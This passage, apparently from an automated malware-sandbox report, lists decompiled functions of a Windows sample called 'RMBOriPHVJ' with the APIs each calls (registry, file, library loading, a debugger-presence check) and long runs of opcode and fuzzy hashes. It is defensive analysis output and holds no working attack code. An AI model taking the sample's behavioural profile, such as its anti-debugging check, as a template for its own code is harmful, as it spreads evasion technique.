                                                          • Instruction Fuzzy Hash: 9831AF32648B8189E710EB25E8401ADBBA9FB49BC4FA84075DE4D07755DF3CD546C710
                                                          Function 00007FF787B94610 Relevance: 4.6, APIs: 3, Instructions: 67timewindowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_Timer$Killwcscpy
                                                          • String ID:
                                                          • API String ID: 3812282468-0
                                                          • Opcode ID: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                          • Instruction ID: 47174aebfe7500ee0947cc18b7dc5504137c7e0c598be06645553b2ede45de59
                                                          • Opcode Fuzzy Hash: 1dc440ecac87e2ff0ffd0982a4a0d0d2f1018b32bcde9ffe5d1424b8b2f1a591
                                                          • Instruction Fuzzy Hash: 4C31C472A487828BE7219B2191842B9BF59F745FC4FA84076CE4E0B745CE2CD946C760
                                                          Function 00007FF787B76F60 Relevance: 4.6, APIs: 3, Instructions: 57registryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • RegOpenKeyExW.KERNELBASE(?,?,?,?,?,?,?,00007FF787B76F52,?,?,?,?,?,?,00007FF787B7782C), ref: 00007FF787B76FA5
                                                          • RegQueryValueExW.KERNELBASE(?,?,?,?,?,?,?,00007FF787B76F52,?,?,?,?,?,?,00007FF787B7782C), ref: 00007FF787B76FD3
                                                          • RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,00007FF787B76F52,?,?,?,?,?,?,00007FF787B7782C), ref: 00007FF787B76FFA
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CloseOpenQueryValue
                                                          • String ID:
                                                          • API String ID: 3677997916-0
                                                          • Opcode ID: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                          • Instruction ID: bd3ea60261adde93c5cd70b7e220ac7664f465f7e1f5cbe47732bfc2cf7d9ab0
                                                          • Opcode Fuzzy Hash: f9d145549c06eb65d00f5eb7279f160a7e02f1bbdde725fe5b236e37f00bb809
                                                          • Instruction Fuzzy Hash: 1121BE33A2874187D7109F29E84096EB7A5FB48BC4B941130DB8E87B14DF39E405CB04
                                                          Function 00007FF787B99118 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Process$CurrentExitTerminate
                                                          • String ID:
                                                          • API String ID: 1703294689-0
                                                          • Opcode ID: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                          • Instruction ID: b88f777d6acfa48af7fa8577552424cbd2ee6944ce9c1b458a6d0c57ae2fbea3
                                                          • Opcode Fuzzy Hash: 898675fe9218c456e9635897f2d1d868c629d4b8853c74df44181d0bc5e5716e
                                                          • Instruction Fuzzy Hash: 31E01230B9430186EB44BB619C4537AA7577F98B41FA05078C81F03392DE3DE44AC221
                                                          Function 00007FF787B866C0 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 466COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Init_thread_footer
                                                          • String ID: CALL
                                                          • API String ID: 1385522511-4196123274
                                                          • Opcode ID: 278cfb30bd3ca7767d208b8ebc54255a4a2aa9310e72bb4b170a940d14afb9b0
                                                          • Instruction ID: a8b7fbd5853c298cb186aa848df5deb9c4deaedcc6fda3ce96b4bab680722c1f
                                                          • Opcode Fuzzy Hash: 278cfb30bd3ca7767d208b8ebc54255a4a2aa9310e72bb4b170a940d14afb9b0
                                                          • Instruction Fuzzy Hash: 7C228132B486418AEB10EF64D4843ACBBB2FB45B88FA04139DA5E57795DF3CE456C360
                                                          Function 00007FF787B76838 Relevance: 3.1, APIs: 2, Instructions: 100fileCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CreateFile
                                                          • String ID:
                                                          • API String ID: 823142352-0
                                                          • Opcode ID: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                          • Instruction ID: fda7834f7db79251fabf2ca2ccabf6de0d84f24cc74e2e20403b6c85cb759bb9
                                                          • Opcode Fuzzy Hash: 27afbee001dd2f14ab302487d27ec6636649baba111da03fe0a26036beb73b09
                                                          • Instruction Fuzzy Hash: A541A07298860287E770EF14E414339BBA2FB467A8FA44231DA6E0B6C9CF3DD406C754
                                                          Function 00007FF787B76460 Relevance: 3.1, APIs: 2, Instructions: 91libraryCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Library$Load$AddressFreeProc
                                                          • String ID:
                                                          • API String ID: 2632591731-0
                                                          • Opcode ID: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                          • Instruction ID: 7bb7323d0481c9e95959ed27e7ae36db299427d1198f3ee8d533c208b4de4cee
                                                          • Opcode Fuzzy Hash: 392ad9f8a410b3ba7add488219b3c7835b0d92f2120495b543ba498714cf74fb
                                                          • Instruction Fuzzy Hash: FB416032B54A1686EB10EB39D4513BCA7A2FB4578CF944131EA4E4B689DF3CD94AC720
                                                          Function 00007FF787B76258 Relevance: 3.1, APIs: 2, Instructions: 72windowCOMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: IconNotifyShell_
                                                          • String ID:
                                                          • API String ID: 1144537725-0
                                                          • Opcode ID: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                          • Instruction ID: 2026848232005f9430530840e1954d0359efed13efb7db6e0f5b53406aab0f50
                                                          • Opcode Fuzzy Hash: 32275c29c25acc732941c8e4684a790687827c850461c861846bda9725fb2c55
                                                          • Instruction Fuzzy Hash: 9441D332948B4586E761EF15E0403B9B7A8FB09B88FA44038DE4E1B388CF7CD582C720
                                                          Function 00007FF787BB3E9C Relevance: 3.0, APIs: 2, Instructions: 44COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • GetEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF787BAA2E2), ref: 00007FF787BB3EB0
                                                          • FreeEnvironmentStringsW.KERNEL32(?,?,00000000,00007FF787BAA2E2), ref: 00007FF787BB3F15
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: EnvironmentStrings$Free
                                                          • String ID:
                                                          • API String ID: 3328510275-0
                                                          • Opcode ID: 16a7ac5b8830e35db6f9156b9abe62843fc22596b2181d25e1a7d5c24141830d
                                                          • Instruction ID: cab4a0627d95e5ded66e79a2fa07c1ea61d209a92a2868978ff2abaf4a698123
                                                          • Opcode Fuzzy Hash: 16a7ac5b8830e35db6f9156b9abe62843fc22596b2181d25e1a7d5c24141830d
                                                          • Instruction Fuzzy Hash: C4018E21A99B4184DE11BB15A00106AAAA1FF44FE0BE80231EE6F037D5DE2CE442C364
                                                          Function 00007FF787B73730 Relevance: 3.0, APIs: 2, Instructions: 29COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          • IsThemeActive.UXTHEME ref: 00007FF787B73756
                                                            • Part of subcall function 00007FF787B99334: _invalid_parameter_noinfo.LIBCMT ref: 00007FF787B99348
                                                            • Part of subcall function 00007FF787B736E8: SystemParametersInfoW.USER32 ref: 00007FF787B73705
                                                            • Part of subcall function 00007FF787B736E8: SystemParametersInfoW.USER32 ref: 00007FF787B73725
                                                            • Part of subcall function 00007FF787B737B0: GetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B737F2
                                                            • Part of subcall function 00007FF787B737B0: IsDebuggerPresent.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B73807
                                                            • Part of subcall function 00007FF787B737B0: GetFullPathNameW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B7388D
                                                            • Part of subcall function 00007FF787B737B0: SetCurrentDirectoryW.KERNEL32(?,?,?,?,?,00007FF787B73785), ref: 00007FF787B73924
                                                          • SystemParametersInfoW.USER32 ref: 00007FF787B73797
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme_invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 4207566314-0
                                                          • Opcode ID: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                          • Instruction ID: 9e29feaa4a3cfc7f2f21b27f476178bc463a6d8627a28a6b68a7cb66e72b4ec2
                                                          • Opcode Fuzzy Hash: 125559b38fbd26b10a906e66ef6d00d9a995a301863d6166c855ae18de5db764
                                                          • Instruction Fuzzy Hash: DA018F70D8C2428BF710BB64E881975FA56BF04740FE48038D01F4B2A2CF2CB486C720
                                                          Function 00007FF787BAB3C0 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ErrorFreeHeapLast
                                                          • String ID:
                                                          • API String ID: 485612231-0
                                                          • Opcode ID: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                          • Instruction ID: 0f1e1019c53c9f8f0b7b51e0a865b0eb258fd3faf86ea401f8250c41e91cd2c4
                                                          • Opcode Fuzzy Hash: 3a3ca9d619edea9c8d6b14ea3b5be24cbdeed60e72e2f20e181f770ec40af026
                                                          • Instruction Fuzzy Hash: 8FE04F61E9A10382FF09FBB3A814176EA977F44740BE44030D80F8B252DD2CA587C620
                                                          Function 00007FF787BB04B8 Relevance: 2.6, APIs: 2, Instructions: 55COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: CloseErrorHandleLast
                                                          • String ID:
                                                          • API String ID: 918212764-0
                                                          • Opcode ID: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                          • Instruction ID: 607764315fb8e50ec77d4cb5f7c326a5c14ec1054ef30fcf10b71f9381ae3423
                                                          • Opcode Fuzzy Hash: 002ee005d6ec78c53f39e4c0500c246461289f80a8623e937adbc3f867fac835
                                                          • Instruction Fuzzy Hash: D111E130B8C24241FEA5B625A4D527CDA937F84760FA80234DE3F572D2CD6CE846C225
                                                          Function 00007FF787B81475 Relevance: 2.0, APIs: 1, Instructions: 533COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: Init_thread_footer
                                                          • String ID:
                                                          • API String ID: 1385522511-0
                                                          • Opcode ID: 14d8bcb0f5e5d36dc6dc2465f5c4b4e36f70afd0639fb95ae083af4e2f9187f7
                                                          • Instruction ID: 0c28f4dab72ed474f2d3d86b907ae1778e8319142fac8d333fe3f8384adaf899
                                                          • Opcode Fuzzy Hash: 14d8bcb0f5e5d36dc6dc2465f5c4b4e36f70afd0639fb95ae083af4e2f9187f7
                                                          • Instruction Fuzzy Hash: 7D32D471A5968685EB60EB15C4443B9EB62FB84BC4FA48139DA4F47795DF3CE483C320
                                                          Function 00007FF787BD20D6 Relevance: 1.6, APIs: 1, Instructions: 109COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: ClearVariant
                                                          • String ID:
                                                          • API String ID: 1473721057-0
                                                          • Opcode ID: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
                                                          • Instruction ID: 37166485ac0e9842241528859ee64a460d9ef6e6b3677cb832443b1389955ec7
                                                          • Opcode Fuzzy Hash: d5cf1192761794fe4b954deb7468c2d4d1c2f7b36110f07c0798e677f51d25b9
                                                          • Instruction Fuzzy Hash: 42419432B4464196EB10EF65D0803AC6BB2FB45B98FA44135CE1E57786CF7CE446C360
                                                          Function 00007FF787B98FAC Relevance: 1.6, APIs: 1, Instructions: 96COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: HandleModule$AddressFreeLibraryProc
                                                          • String ID:
                                                          • API String ID: 3947729631-0
                                                          • Opcode ID: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
                                                          • Instruction ID: ec5eb28230e0b5e6a66b9beffaa13732217872d13be096404071112ca9d042c9
                                                          • Opcode Fuzzy Hash: 867c7b1033e3f760706abf2d2d8e8ea2ff197c00114f18769501bed1359dd07f
                                                          • Instruction Fuzzy Hash: 05419231E9965282FBA8BB15D490279EA56BF90740FF44035DA2F476D1EE3EE843C360
                                                          Function 00007FF787BA48E0 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                          • Instruction ID: 73d15471fb644517a37f4cb31f9f5d3899391783404378e441867df3e5085421
                                                          • Opcode Fuzzy Hash: 3afeb395a215f3ec17922b2632f819625b98a9037f1372fc9655ff2c7b0df073
                                                          • Instruction Fuzzy Hash: EA21CB32A4D2C281EA52BF17A40027EEA63BF44B94FA44030EE4E57786DF7CD942C760
                                                          Function 00007FF787BB6D04 Relevance: 1.6, APIs: 1, Instructions: 64COMMON
                                                          Download Yara Rule
                                                          APIs
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID: _invalid_parameter_noinfo
                                                          • String ID:
                                                          • API String ID: 3215553584-0
                                                          • Opcode ID: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                          • Instruction ID: 20ad4c5041592bdc41c2440243aa9cb49eec7eed62eafa1e253e7d6b5c271ef2
                                                          • Opcode Fuzzy Hash: ecb6d4795bd6ab7db71324e13dbdbe24fc2c4762c378ad1b5bb23dbd8960ecc0
                                                          • Instruction Fuzzy Hash: 3B21C73271864247DB65AF25E440379BAA2FF81B54FA44234DE5E8B6D5DF2CDC12C710
                                                          Function 00007FF787BF5B80 Relevance: 1.5, APIs: 1, Instructions: 44COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C48000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508416280.00007FF787C5A000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1508460034.00007FF787C64000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_0_2_7ff787b70000_RMBOriPHVJ.jbxd
                                                          Similarity
                                                          • API ID:
                                                          • String ID:
                                                          • API String ID:
                                                          • Opcode ID: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                          • Instruction ID: 6c6c298f9d7c222f429b29af5c63806b13bb5b235db96b67f2642b1b115d9a06
                                                          • Opcode Fuzzy Hash: 69bddbc63fd99da0361e32bf605d9336e4230c0dde7f0018513f1afea8dd74fd
                                                          • Instruction Fuzzy Hash: 94111636A59A4582EB44EE16D090369A761FB84FD0FA45136DA1F073A1CF3CD492C360
                                                          Function 00007FF787BB0414 Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                          Download Yara Rule
                                                          Memory Dump Source
                                                          • Source File: 00000000.00000002.1507883837.00007FF787B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF787B70000, based on PE: true
                                                          • Associated: 00000000.00000002.1507862953.00007FF787B70000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                          • Associated: 00000000.00000002.1507936972.00007FF787C25000.00000002.00000001.01000000.00000003.sdmpDownload File
